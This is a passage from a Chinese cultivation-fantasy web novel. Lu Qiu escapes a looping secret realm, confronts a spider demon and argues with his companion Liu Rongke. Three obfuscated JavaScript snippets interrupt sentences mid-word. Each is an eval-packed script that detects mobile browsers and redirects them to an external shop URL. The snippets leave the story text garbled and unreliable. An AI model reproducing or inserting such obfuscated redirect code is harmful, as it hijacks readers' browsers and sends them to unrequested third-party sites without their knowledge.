陆秋几乎是瞬间就将灵力爆发出来,自己冲上前去双臂稳稳接住掉落下的木盆。即使有灵力加持,这种木盆的重量也不是他能承受的,更何况里面还有满满一盆的水。但再重还是没让他松手,他若松了手,女孩有可能直接被砸得脑浆迸裂,当场丧命。 还好。陆秋低头看了眼女孩,同时庆幸自己比她高,才能不让她再受伤。女孩跌坐在地上,直直看着他,不消片刻眼中就噙满泪水,在陆秋惊疑的眼神中化为飞灰,随风飘散了。 只觉手上一轻,木盆也不见了,陆秋不可置信的放下傻傻举着的手。 他也没有站太久,因为他还要去找秋花。但这次时间快了许多,他明明比先前两次早了,可到门前却发现地砖上的血迹还未干涸,意味着秋花已经完成了一次屠杀。 不仅是秋花没能救成,就连素青素白二人都不知所踪。陆秋又挨家挨户寻找着,那两人的身影也凭空消失,他的心中浮现出了一个恐怖的猜想。只怕青白二人被“秋花”所害,但按照他们那种绝不以身试险的性格,这么想又不太对。陆秋痛苦的蹲在宗祠门前,双手抱头,根本想不出来到底要怎么解开这个秘境。 不知是情绪原因,还是秘境对他的影响,陆秋腹中又有了胀痛感,胃酸往上泛着,一阵阵反胃感惹得他止不住干呕。 第三次“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395982|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋花”被提到空地上时,陆秋麻木的看着那个男人手起刀落,她的头颅一同落下,然后认命似的开始第四次轮回。 他的脚步疲惫,低着头一点点挪回家中,可这次他无论怎么找,都找不到原先的院子了,“姐姐”也一直没有出现,直到他又在路上碰见前去送死的修士们,才意识到哪里不对。 因为前两次他都伤害了女孩,而第三次因为伤害没有达成,改变了女孩的命运,所以她就从秘境解脱出去,连带着场景一同离开了。 那这群修士呢?陆秋看着面前的孩童犹豫不决,不确定的在身上摸索了一番,还是没有发现玉佩在哪里,不禁着急起来。经过上次素白一说,他现在已经认定玉佩可能就在自己身上,但不知要以什么形式出现。 若是阻止了他们,那他们和秋花会不会也直接离开? 陆秋心中立刻否决了这个方案,若是他们都离开了,自己又如何离开?但他偏偏是没有行动轨迹的,“如愿”的所作所为他并不知,所以现在只有一种选择,便是和他们一同去见“秋花”。 “思尘。”陆秋深吸一口气:“开始记录吧,恢复时间为一炷香后。”一炷香的时间足够了,只要他第一个死,就能在门内复活等着“秋花”屠杀完成。 这次到了门前,他先是在门缝朝里看了看,发现并没有秋花的踪迹,便知人已经被掉包了,只等着屠杀开始。当真的面对无法避免的死亡时,他反而平静了下来,只期待着“秋花”能给他个痛快,比如砍掉头再分尸。 等最后一个孩子进来,大门自动合上,“秋花”蓬头垢面的从上方蹦下,双手已经变成类似鸟类的钩型爪,对着离自己最近的孩子用力一掏,一声破肉声传来,血液与那只黢黑的爪子便从他胸口直直穿过,将内脏都带了出来。其他孩子看到这一幕都不由自主恐惧起来,作鸟兽状哭喊着散开,但也逃不过被掏心的命运。 陆秋此时也着急起来,他已经尽力去追赶“秋花”了,可就凭自己现在被压制到练气期的修为,只能追个残影。“秋花”貌似也疑惑为什么别人都是避着他,而陆秋却粘着他找死。不过他也没有躲着,顺手把陆秋杀了又去宰其他还活着的孩子。 得亏“秋花”觉得他烦而直接杀了他,而不是像对其他人那样的虐杀。只能说时间刚刚好,等“秋花”把那些被分解好的尸块往门上挂时,陆秋已经偷偷摸摸爬到供桌处躲了起来,静静看着他清点挂在上面的人数。 陆秋刚刚躺在地上就发现了,这个不是“秋花”,无论是脸还是身形,都是一个男孩。那男孩点了一遍人数发觉不对,又把挂门上的人全都扯了下来重新清查。被扯下来的时候还有骨头碎屑留在了尖刺上,红白相交,发出令人作呕的腥臭味。 这嗅觉该好时不好,不该好时却让他闻得那么清楚。陆秋捂着口鼻,但那股味道还是止不住的往里面钻,几次反胃都让嘴里发酸了。 那个男孩已经数完了第二遍人数,却发现还是对不上,有些烦躁的用尖爪挠挠头,打量着满地的血迹,开始循着血迹找人。 陆秋冷着脸,看起来神色如常,但心底已经开始骂娘了,他实在是搞不懂为什么这家伙杀完了还得查数量,刚刚杀的时候也没见他计数啊。 陆秋在供桌后尽力把自己缩成一团,刚刚在恢复的瞬间他身上的血迹就消失殆尽了,若只是按着血迹来找,根本排不到他的位置的。想到这里他又稍微放松了些,看着那人跟个无头苍蝇似的团团乱转,心里祈祷着那群人快些来把这家伙制住。 就在这走神的片刻,男孩的身影又消失不见了,陆秋刚把头探出去一点,就听见桌上传来指甲划过桌面的声音,他又立刻缩回头,不再动弹。 但桌上人知道时间不允许他再拖下去,伸手就要直掏陆秋的天灵盖,陆秋基础的反应能力还是有的,弯腰借力向前一滚,双脚借着灵力加持踹上供桌边沿,将供桌与上面的东西一同踹得倾斜过去。 65. 任务(7) 桌上人没有跟着供桌一同翻过去,而是双手握上桌沿,双膝抵在胸前越了过去,像是提前就瞄准似的朝陆秋扑去。陆秋猛地转身,短刀应声出鞘,对着那人的面颊就狠狠刺了进去。 但刺进去时没有任何的血液与人肉该有的阻力,刀所划过的地方只有一层说不上来是什么的东西,那人像漏气似的身体不断缩小,最终只剩一层软趴趴的皮瘫在地上。 陆秋举着短刀,他没想到会这么容易就杀掉对方,担心他还会有后手,便谨慎地张望四周,一刻也不敢松懈,直至那群人来到,拎着那层皮开启了“断头”仪式。 不知怎的,他此时反胃感愈发严重,已经到了无法抑制的程度。陆秋一手扶住供桌,一手摁住腹部,在胃一下下的抽搐之中,他干呕着吐出了几根白线来。 他扯着白线,意识到这是玉牌上的流苏时,整个人都不好了。陆秋双手颤抖着在胃部按压着,那玉佩的轮廓在按压中显得格外突出,连他都不知道这玉佩是怎么进了他的胃的。 吐出来是不可能的,玉佩的尖角会把喉管一同划开,到时候还不知思尘能不能用,危险性太高,还不一定能取出来。 正当他思考着,面前又是那块石碑,第五次轮回已经开始。不过这一次不像前几次那样迷茫了,陆秋把短刀擦拭干净,提前用了灵力护体,以免因为寒冷或意外袭击造成影响。他左手大致摸了个轮廓,将玉佩边隔着皮肤捏出形状,右手拿刀用力横向一划,连血珠还没冒出几滴就叼住刀刃,把玉佩扯出来。 担心切口不够大会造成撕裂,这一划几乎有一条小臂那样长。此时额头已经疼得冒出汗珠来了,而且思尘还不能用,只能把希望寄托于出去有人能够接应他了。 手抖得几次都没能将玉佩摁在石碑上,最后几乎在脱力的边缘时,一只手按上他的手背,把玉佩稳稳当当合了上去。还没等他看清来人是谁,脚下的地面就塌陷下去,让他直直坠入深渊。 眼前是一片漆黑,只有失重感在提醒他在不断下落的事实。不知过了了多久,只觉得大脑都因充血而产生了嗡鸣声,随后就是后背传来的一阵疼痛,自己砸入了一个不知多深的水池中。 但这次还没有多久,一只手托在他的后脑处,让他的头部浮出水面,以免被呛死。陆秋捂着腹部,出水的那刻就剧烈咳嗽起来,这次不仅是腹部,就连胸口都在发痛,带着整个肺部如撕裂那般。眼前阵阵发黑,根本看不清托着自己的人是谁,只知道有只手将他掉出的肠子塞了回去,一阵冰冷的触感划过,伤口处不断发烫发痒,竟在对方的灵力催动下主动愈合了。 是素白。他听到二人的对话,但他们只是将玉佩拿走,将他留在了原地。 骗子。陆秋听到自己的心声咬牙切齿道:骗子,说好的一起走呢,你们自己跑了! 不能说五感尽失,但也差不多了,等再恢复意识时,映入眼帘的是一张被白色蛛丝盖住了左半边脸的笑容。陆秋看见那不输于云栖月的鲨鱼齿时恨不得自己再晕一阵子,可对方比他的动作快,直接掐着陆秋的脸凑上来,明黄色兽瞳上下打量着他,这下他想装晕都做不到了。 掐的脸颊都有些痛了,陆秋双手紧握着对方手腕想让他移开,神色不耐烦的警告着:“别碰我。” “我不。”对方笑嘻嘻的拒绝:“我放开你,你可就掉下去了。” 陆秋这才发现自己处于一片硕大的荷叶上,下方是澄澈的灵泉与几尾游动的红锦鲤。他的衣服不知何时被换了回来,连原先脏得没眼看的狐裘都变得洁白蓬松,盖在身上。 “你想做什么。”陆秋终于把这人的手扯了下来,有些恼怒的轻揉着双颊:“你是这几起事件的罪魁祸首吧?” “为什么是我?”这人摸着下巴,若有所思道:“就凭我是秘境之主,所以你就认为是我做的?” “不然呢。”陆秋直起身,尽量让自己离这人远远的。 “我好歹救了你。” “那要看拜谁所赐了。”陆秋没好气的嘲讽道:“其他人呢?” 这人不紧不慢挥挥手,四周石壁逐渐亮起,那些被蛛丝挂着的人逐渐显露出了模样,大多只有一张皮,而包裹住它们的蛛丝是红色,看来是由于吸血致死:“别急,这才是我要和你谈的。” 陆秋已经看到了秋花,那茧已经有一半转红,再犹豫一些时间,秋花可能也会变成这里的一张皮。对方收起笑容,恢复那张厌世脸,语气不耐烦:“这些家伙都无所谓,我可以留给你处置,但我有条件。” “你说。” “不要这么紧张,我们好歹还有一面之缘呢。” “我可不记得见过你。” “见过,不过你没见我。”说到这里,对方眼白都有黑线不断攀上瞳孔:“那个死女人本来要抓我,却被你的那只兔子打乱了目标,才能让我钻了空子跑掉。” 陆秋听到“死女人”还在想是谁,但再听着“兔子”就立刻想起来了,是他抓跑跑时遇到的滨水宗弟子,怪不得人家心情不好,原来是让这个大的跑了。他先是对那位感到愧疚,之后又立刻咬牙切齿道:“当时就不该抓兔子,该把你也一起灭了。” “不能这样啊。”这人又露齿笑:“我可是来报恩的。” “报的哪门子恩,让我死你的秘境中就是报恩吗。”陆秋更气了,但对方凑得越来越近,他又向后退了一点,谁知刚刚还好好的荷叶突然向下弯曲,他整个人不受控的向后仰去,又被这人揽着腰给拦了回来。 “不要生气,那是考验的一部分,而且你看,我的秘境没有伤害任何人。” “说你的条件。”陆秋摸上左耳,才发觉一直隐藏气息的耳坠不知什么时候丢了,一想到出去若是遇到滨水宗的救援弟子,他就头疼不已。 “咱俩结个契约,以后都有个照应。” 陆秋冷笑,磨了磨后槽牙缓缓开口道:“你做梦呢?” 蜘蛛精一愣,又开始洗脑似的叨叨着,不过绕来绕去也只是要陆秋签契约。 陆秋现在听到“契约”二字就头疼,脑海中却突然传来一声熟悉的冷笑。太久没有听见对方的声音,尤其是在这种情况下,他只觉得格外亲切。 对面的人还在喋喋不休,他已经不耐烦了,知道柳容柯已经找到了他,便也有了底气,他打断这人的话头:“别说了,你不就是觉得签了契约就可以减少追杀吗,归根结底还是想利用我不是吗?” 柳容柯不再有动静了,因为陆秋这话貌似连他也一起骂了,那人也不拐弯抹角,大大方方承认:“对,结不结?” “柳容柯,你还不出来吗?”陆秋心通给仍旧袖手旁观的柳容柯:“我可以选择要还是不要,但你可选择不了以后和那种气息共存。” 果然,耳边一阵狂风呼啸而过,不仅腰上那只手松开了,连对面的人都不见了。荷叶轻微晃动了一下,陆秋向身侧看去,见柳容柯一身黑白交错,不禁怀疑是不是衣服还没穿好就被他喊了过来。 柳容柯俯视着他,脸色比刚刚那人还臭:“这么长的时间,你的修为一点都没有长进。” “我主要去锻体了。”陆秋不知他为何提这一茬,但还是免不了有种偷懒被抓包的心虚。 “锻体?”他表情狰狞了一瞬:“我的鳞片是给你这样用的?” “人总要脚踏实地,不能一昧追求提升,还要想着……”陆秋忽悠的话还没说完,下面水池就传来微弱的声音:“你们要聊出去聊,别在我的秘境里。” 那声音听着虚弱,其实仔细一品才能发现其中的恨意,陆秋没打算走,而是御剑直上,飞到被蛛丝裹起来的秋花身边,用火试着去烧掉蛛丝。 那人被柳容柯拍在水里动弹不得,刚要起来就又被柳容柯一尾巴甩下去,溅起足有一丈高的水花来。陆秋放心的烧蛛丝,还要保证不烧到里面的秋花,但当把外层烧干净后才发觉这东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395983|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西有多致命。 内层紧贴着皮肤的蛛丝就像植物的根部那样紧紧扎在皮肉之中,还在不停地吮吸着血液,沿着丝线向外流淌着,陆秋眼见没有办法,只能让柳容柯把那人从水里捞出来,把蛛丝解开。可那人一副油盐不进的模样,无论怎样都不解开:“你动手啊,我死了,他们的蛛丝你们就自己看着办呗。” “要是有控制……”陆秋话说到一半,突然想起来自己貌似还真有这种控制类的法器,又急忙翻出来那捆红绳,有些感慨:“好久没用这个,都忘记我还会摄人心魄了。” “就凭你也想控制我?”那人语气充满不屑:“你一个金丹期修士,也企图……”柳容柯没给他说完话的时间,一个手刃劈晕了他,和扔死猪那样往荷叶上一摔,皱着眉头让陆秋别发呆:“快点。” 只能说过程还是很顺利的,这人一旦有要醒的迹象,柳容柯就再劈一次,几次下来就把秋花从茧中解救了出来。陆秋把秋花放在一旁,一边拿出疗伤的灵药为她涂上,一边和柳容柯谈话:“你什么时候走?” “用完了就想着赶我?”柳容柯似乎有些烦躁,尾巴甩得呼呼作响。 “哪有。”陆秋否认:“要是秘境结束了,我同门看见你,不得造谣嘛。” 柳容柯嗤笑:“身正不怕影子斜,我看你就是想赶我走。” 陆秋被他怼的没话说,又询问起滨水宗的事:“云栖月现在怎样了?” “现在站在你面前和你说话的是那家伙吗?” “不是。” “那提他作甚。” 陆秋终于疑惑的抬头望向他,他不知柳容柯是受了什么刺激,还是修炼修傻了,怎么三句不离自己,还这么强词夺理。他看着那条得有三个柳容柯那么长的尾巴满头雾水,不知对方又在闹什么变扭:“你怎么了?” “你心里不清楚?”柳容柯终于发泄出来:“半年不联系也就算了,还专门搞了个隐藏气息的小玩意,又在外面和别的家伙偷偷签契约还以为我不知道,你这么做不觉得良心痛吗?” “不是,什么东西?”陆秋抬手抹去额上的汗珠:“当时和你签契约的时候你不是说没事别烦你吗。” “我什么时候说过。”柳容柯瞪眼。 “你刚醒的那天知道我签了契约,都直接打到药房了,进屋还和女鬼似的喋喋不休说什么咱俩得死一个,你不就是不乐意吗。”陆秋说起来也憋屈,他就没见过除他以外这么阴晴不定的人的。 “我那是……”柳容柯在脑海中紧急找话给自己找补:“那是起床气。” 陆秋一脸鄙夷:“和褚浣不相上下的起床气是吧。” 二人瞪着眼不知说什么,但这么一说完,柳容柯的尾巴也乖乖在身后盘了起来,四处找着秘境出口。在那蜘蛛精悠悠转醒之际,石壁一处突然透出了一线光亮,紧接着就是镜面破碎的阵阵巨响,一道火红的身影向着陆秋这边飞来,带着浑厚的灵力一脚踹向正要爬起的蜘蛛精,将他直直踹飞出去,嵌入石壁之中。 不仅陆秋,就连柳容柯看见这阵势也不敢吱声了,都安安静静坐在原地等着。那红衣人将兜帽一摘,露出张清丽的脸来,蹲下捧住陆秋的脸摸了两把,语气带着焦急:“没事吧,有没有伤到哪里?” 陆秋摇头,连忙把秋花让了出来:“师姐,秋花师姐伤得比较严重。” “她都是鬼了,少这点皮肉也没事。”清环瞄了一眼躺在地上的秋花,又看着柳容柯:“你是谁?” 柳容柯被这么一问,一脸不服气:“他的……” “我的灵宠。”陆秋接话,同时给柳容柯心通:“别乱说话,当心师姐当场剥了你。” 看着还在墙上的那蜘蛛精,柳容柯果然老实了,低着头一言不发。 这时秘境已经碎的不像样,其他门派的修士也纷纷寻找自己的同门,落霞宗还来了几位师兄师姐,好歹没让秋花自己醒来再走回去。 66. 麻烦(1) 这次怎么说都是有惊无险的,就算柳容柯不来,陆秋也可以拖到清环暴力打开秘境。但当他看见柳容柯跟在身后要进落霞宗时,还是有那么一瞬间的崩溃的。 陆秋无奈问他:“你还跟着做什么?” “我是你灵宠,不跟着你跟着谁?”柳容柯看向清环,从刚刚的观察不难看出,清环才是他们的主心骨,能得到清环的认同才是关键。 清环打量着他,又回头问陆秋:“既然是你的灵宠,应该也能收起来吧?” “这个收不起来……”陆秋也不知道清环到底有没有发现自己的谎言,紧张的直搓手。 “那不行。”清环直接否决:“男人不进落霞宗。”清环又微微仰头看向柳容柯:“身形也不适合女装,还是在外面吧。” 陆秋松了口气:“那我安排一下?” “没必要,灵宠都该为主人着想,而不是让主人费心费力。”清环那一眼像是威胁,又像是警告,让柳容柯死了跟着陆秋的心。 传送阵亮起,陆秋望向阵外的柳容柯,他不担心柳容柯回不去,因为只需他的意念一动对方就能到他身边。 回宗事情多得难以想象,即使有清环在处理,他也难免要跑好几趟,把这次的情况原原本本写下来交给执事长老,忙到天黑才得了空去看望负伤的秋花。秋花四肢还处于不能动弹的状态,但至少精神很好,见陆秋来了还让他自己随便拉个板凳坐。 “你感觉怎么样?”陆秋检查了她裸露的手臂,上面呈现出长短不一的深棕色长疤,周边还夹杂着些许点点暗红与淤青,他也不敢触碰,只怕会再出什么意外。 秋花仰面躺在床上,语气有些不自然:“你的任务汇报我听了,对这次的秘境也大体有了头绪。” “洗耳恭听。”陆秋捏着储物戒,觉得自己忘了什么,但一时又想不起来。 “我的记忆只有到你离开时结束,以后就一直处于昏迷。” “第二次呢?” “没有第二次,只有遇见了你一次。”秋花和他复盘着:“你之后遇到的应该就是假的了。” “会不会是幻像?”陆秋又翻了遍芥子空间,发现送出去的供暖符一张都没少,不由猜想是不是那个秘境和思尘是一个性质,可以记录并不断重复,顿时来了兴趣:“那蜘蛛精去哪了?” “当然是被我们带回来扔地牢了。”清环此时拨开布帘,手中还端了几盏茶:“不带回来,怕不是得当场让那些修士杀了。” 陆秋弓着腰起身让座,自己又拿了个凳子过来:“那要怎么处置他?” “那家伙也没什么用,只能刨丹,如果是让江畔楼的拿去没准还能炼蛊。” “哪个江畔楼?”陆秋没听说过这个名字,但大体也猜到了应该是毒教。 “南边的那个。”秋花现能动了,举着手等清环给她递茶。 “没听说过。”陆秋想让她讲讲,但秋花只是鄙夷的看了他一眼:“自己查去,怎么什么都等人喂呢?” “哦。”陆秋记下这个名字,想着回去再查相关信息。 清环把指甲里蹭到的灰往外刮着,悠悠开口:“咱们不缺丹药,留着也没用,如果卖出去,还能再添点小玩意。” “我先去问问,问不出来东西再由你处置吧。”陆秋尝了口茶,意识到这是药,被酸苦味冲得直皱眉。 “随你,对了,还有件事。”清环摸出个储物戒来,二人看到后对视一眼,有种大难临头的感觉。 “你们打劫魔修了?”清环单手叉腰,视线在二人间徘徊。 “没有没有。”陆秋看秋花闭眼假寐,只好硬着头皮给清环讲述来龙去脉。但当讲到秋花一口答应下来时,清环的眼神凌厉得似乎要宰了秋花,但碍于她是个病鬼,也不好现在就动手,只能先把这笔账记下来,以后再慢慢还。 “不管怎么样,你俩还得还回去,听见没有?”清环最后一句是给陆秋说的,陆秋连连点头,查看里面的东西依旧一样没少,才开始思考还回去的方式。 若是直接上门去找未免太过惹眼,而且夜笙门的本就不安分,过去了那是自找不痛快;要是贴了悬赏让他们自己找过来,又怕那二人闹出个什么事,让长老知道了还要罚他们。 “咱们找个时间约他们出来?”陆秋和秋花商议着,否决了一大通,但思来想去还是一致决定去私下里找那二人。 秋花小声拍手:“咱们去见一面,然后就回来,这样事少还不要担心出什么问题,再说了,反正咱两个门派关系不咋样,就算出事,落霞宗还是站咱这边的。” “可是,”陆秋思忖着:“咱们怎么去?” “夜笙门主宗门有咱的传送阵。”秋花竖起两根指头,作脚在床沿走:“咱们偷偷地去。” “道理我都懂,可是,咱们怎么能确定素白他们就在那里?” 两人瞪着对方又陷入了死局,最终秋花挠着头安慰自己:“那咱们就凌晨去,他们都睡了,咱们神不知,鬼不觉!” “那就这样办。”陆秋又提了一嘴:“我们穿什么去,宗服太明显了吧?” “我的建议是,你们最好别这样做,但你们想这样也无所谓。”清环耸肩收拾茶盏:“你们的考虑还是有些欠缺的,不过你们尽管去,遇到解决不了的事回来便是。” “咱们穿得少点?”秋花刚这么说,又连连摇头:“不行,穿得少得冻死了,咱不能像他们那样风骚。” 清环看他俩实在不知怎么做,叹气指点他们:“以陆秋的衣品,融入夜笙门还是可以的,你就穿日常的女装,你们手挽手,几乎不会引起他们的注意的。” “我的衣品……”陆秋嘴角抽搐几下,想起青白二人的衣着,又无话可说,只能又问:“那我们什么时候去?” “现在。”秋花一掀被子,露出恢复如初的双腿。 “这么快?”陆秋讶异的盯着秋花的腿,秋花弹了两下腿,开始撕胳膊上的疤。那疤撕开后竟没有一丝血液,反而像是自然脱落那样,被扯下了一层带着血痂的皮来。 “因为是鬼修嘛。”秋花轻咳,神态骄傲道:“只要灵魂够强大,完全可以带着□□提升的。” “那我还有机会吗。”陆秋想想自己自然恢复能力只比凡人高出那么一点就头疼,十分期待的看向清环。 “大概率不行。”清环笑着摇头:“无论怎样,你的主修还是仙道,并非鬼道,最多只能学些边边角角,而不能习得主要功法。” “好吧。”陆秋叹气:“感觉我来这里貌似就是边角料,学不了东西。” “至少可以锻体呀。”秋花伸出一个指头戳他脸:“你看,你现在□□反应能力不比以前高了许多?” “确实。”陆秋承认。 “那我们明天再去夜笙门,你可得休息了。”她掩嘴笑:“你那黑眼圈都要出来了,我明天可想看见白白嫩嫩的小哥呢。” 陆秋面上发烫,胡乱应了一声便告辞,跑出去时几乎可以称得上是“落荒而逃”。 其实不仅是要休息,还是要和柳容柯见面,事出反常必有妖,柳容柯必然有事要和他说,但又碍于身份而不方便,只能另寻时间相告。陆秋先是将门窗禁封,处处贴上隔音符,为了随时注意外界,他没有再贴静音符,便闭目盘腿坐在床上开始与柳容柯心通。 还没有说上两句话,只觉面前一阵阴风吹过,柳容柯长腿一迈,丝毫不客气的坐在桌边的檀木椅上,眉眼间少了许多狠厉,语调都变得懒散:“还挺聪明,知道我要找你。” “所以你是有什么事?”陆秋有些嫌弃的看着他。 “你打算在这里留多久?” 陆秋想自己总不能像在滨水宗那样,被赶得一丝喘息时间都没有:“反正这三年不打算走了。” “可以。”柳容柯点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395984|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头:“马上过年了,有什么打算吗?” “还能有什么打算,约着几个亲友小聚一下便是,过年就是要放松嘛。” “你这一年也没干什么吧,还放松?” “什么叫什么也没干,我这不是也有点作为了嘛。”陆秋不服,至少心法他还在编撰着,虽说少,但至少写了。 “但你这一年全卡在金丹期。”柳容柯一说就来气:“我的鳞片对你来说就这么鸡肋?” “我这不是从初期到中后期了吗,你的鳞片挺好用的。”陆秋连忙否定他:“拜托,我是人,你要知道并不是所有人都能像你这样,修行本就是不确定的,谁能保证一定能有突破呢。” “好用。”柳容柯说出这两个字时都能听见他后槽牙磨得吱吱响:“就是你一直不努力,我才会修行受牵连!” “啊?”陆秋听得一头雾水。 “你不知道我们修为是绑定的吗?” 陆秋摇头,看得柳容柯脸色更黑了:“你不努力,我也没办法突破,平时修练为了平衡还要传给你,你在这里就心安理得坐享其成?” 陆秋这才想起来老头貌似给他说过这事,但他也没有往脑子里记,现在柳容柯这么一问,倒是把他问得心虚起来:“我也有修炼,只是收获甚微……” “我看你是只顾着打扮,根本没有把修炼放心上。”柳容柯抓起他的手:“你看看你现在的模样,梳妆打扮,涂脂抹粉。”他掐了把陆秋的脸,发现陆秋没抹东西,立刻改口:“成天就整些饰品戴着,一点男人模样都没有。” 陆秋听他这话也生气:“这里是落霞宗,我们都如此,看不惯憋着,不然就走。”他甩开柳容柯的手,神色恹恹:“难道仅是因为打扮,便可以认定为不思进取,玩物丧志吗?” 半晌,陆秋将额边碎发向后拢了拢,叹气逐客:“若只是询问我的修为的话,那就到此为止吧,你的鳞片我会还给你的,等那一日到了,我们从此桥归桥,路归路。” 柳容柯听后果断起身,但在转身时却迟疑着,从储物戒中将一枚小耳夹轻放到桌上,身形一闪便消失了,只留声音回荡在屋内:“下次别再丢了,有人找你找得紧着呢。” 陆秋下意识想到了云栖月,对方应该知道他离开的原因,这次找他大概率是想要灭口,但落霞宗和滨水宗也就只有片林子隔着,云栖月找来也是早晚的事。他戴上耳夹,趁着清环还没回来,便匆匆去了地牢,想从那蜘蛛精口中套出点情报来。 “你一点好处都不给,凭什么要我说?”蜘蛛精听了他的问题,嘻嘻回复着:“你得拿点东西吧,比如契约……” 陆秋面无表情的想着还是落霞宗的待遇太好了,连地牢都铺上了软垫,这里的环境比一些普通宗门都要强,把他放这里都分不清是虐待还是享受。见蜘蛛精这副模样,他更是一阵怒气直上心头,甩袖放话:“那你就等着我师姐处置吧。” “小美人脾气还挺辣。”蜘蛛精捧脸,丝毫不知道接下来自己会经历什么。 地牢本就空旷,再细微的声音在这里也会被无限放大,这句话又不知道怎么戳到陆秋的怒点了,陆秋侧过身右手食指与中指合并,眼神中是从未浮现过的冰冷,一道冰菱直直捅进那妖被蛛丝裹住的半边脸中。刺入的刹那便有绿色的脓液从中喷出,阵阵恶臭如浪潮般扑面而来,且越发浓烈。 陆秋放下手一言未发,像是厌恶似的掩面匆匆离开,完全忽视了那妖的哀嚎。快步走出几里后步伐却又慢了下来,最终沉重得几乎无法抬腿才缓缓蹲下,迷茫地望着远处依旧灯火通明的梨园坊。 “尹浅笙。”他用神识唤了声对方。 没有让他等的太久,那边传来了一声心虚的“嗯”。 陆秋不知是疲惫还是怎的,此刻竟意外的平静:“你做了什么?” “我感觉你很不高兴。”尹浅笙更虚了:“所以就一时冲动……” 67. 麻烦(2) 陆秋把头埋在膝间,颇为头疼:“他固然该挨打,但……” “可他没有什么用处了,还惹你生气。”尹浅笙急忙安慰他:“怪我,不该影响你的行为。” “没有用处难道就该受到这样的对待吗?”陆秋火气又上来了:“如果哪日你对我也没有了用处,我就该杀了你吗?” “我们本就是利用啊,只是我对你有感情,你想杀我,我会考虑的。” 尹浅笙这句话把陆秋喊得熄火了,他带着不可置信的语气又问:“我若是对你而言无用了呢?” “不会的。”尹浅笙的语气明显着急了。 两人在沉默中默默切断了传音,陆秋扶着树站起,后知后觉腿部已经被冻的僵硬,再加上血液循环不畅,发麻的同时还泛酸,终于直起身子时腿部还有发胀感,不由得更郁闷了,感觉自从滨水宗开始就没有遇到几个正常人。 回去的路上他也对自己的转变感到十分诧异,自己以前分明不是这么优柔寡断的,今日只是教训了这个不守规矩的家伙一下,却又感到残忍。 或许不是怜悯。陆秋摇着头,他只是盯着自己的指甲,决定明天去找江舟卸掉。 冒雪走了不少时间,回屋已是精疲力竭,此刻也顾不得靴上的雪是否会染污了地毯,草草脱了外衣便睡下。可天不遂人愿,纵使他想好好休息,自己的梦境也不允许。梦里他身处水牢,双手被有小臂粗的铁链锁住吊起,腰部以下全是浓稠的液体,冰寒刺骨。可能被泡得时间太久,双腿都无法站立,但要跪下也做不到,因为有铁链紧紧缠着双手,那部分皮肉此刻已经血肉模糊,稍微蹭一下都有钻心的痛。 陆秋试着运转灵力,但铁链上的金光乍现,竟是专锁仙修的链子。运转到一半就被强迫滞停的滋味不好受,更何况现在阴寒入体的状况,直直将他逼出一口血来。 远处脚步声有规律的传近,一双绣着金云纹的黑靴出现在视线中,陆秋抬头望见一张冷峻得几近于妖艳的脸,心里燃起的一丝希望也被这冰水浇灭了。 时隔半年不见,报应终究还是会降临到头上,云栖月单膝跪在台上,单手掐住陆秋的下巴,冷笑着:“你还能躲到哪里呢?”陆秋心头一紧,触感太过逼真,那手如被冰块般让他的神志清醒不少,知道自己这是有了心魔,眼前的云栖月也不过是他的幻觉。 陆秋皱眉,语气中带着命令:“放开!” 对方静止了,不仅没有动作,就连呼吸与脉搏也被一同固定在了这一刻。 他松了口气,这意味着他还能掌控心魔,不至于任心魔放肆。问题来了,纵使他能够控制“云栖月”,可他却不知如何从这里出去。 多次尝试后他只能做到让自己的双手解放出来,并从那池子不知是什么的液体中爬出来。 长这么大从来没有过心魔,陆秋最多也只是从书中知道心魔须破,否则难成大道,但书上也没教过心魔怎么破。 这个水牢只有很小的活动空间,其余的地方像是有屏障似的,无法通行。陆秋绕着空间走一遍,在心里大概有了个底,见云栖月还僵在那里,突然意识到什么是“直面恐惧才能克服恐惧”。 把人揍一顿?陆秋想着反正也没什么办法了,就让“云栖月”动了起来。 “云栖月”一获得自由就以气化刃,朝着陆秋面门打去,陆秋侧身躲过一道风刃,同时也低腰顺势向前冲去,揽着“云栖月”的腰部狠狠向后一摔。 “云栖月”单手撑地没让自己头部与坚硬的地面来个亲密接触,另一只手却猛握陆秋脚腕向外带,双腿合拢向他胸膛踹去。一阵强压逼近胸口,陆秋只好紧急后撤躲过那重击,不知怎的心神受扰,指尖微动竟幻化出一把冰剑。 他一怔,趁着这个节点“云栖月”便又向他甩出几道风刃,陆秋没再理会这把剑的来源,开始和云栖月认真过招。 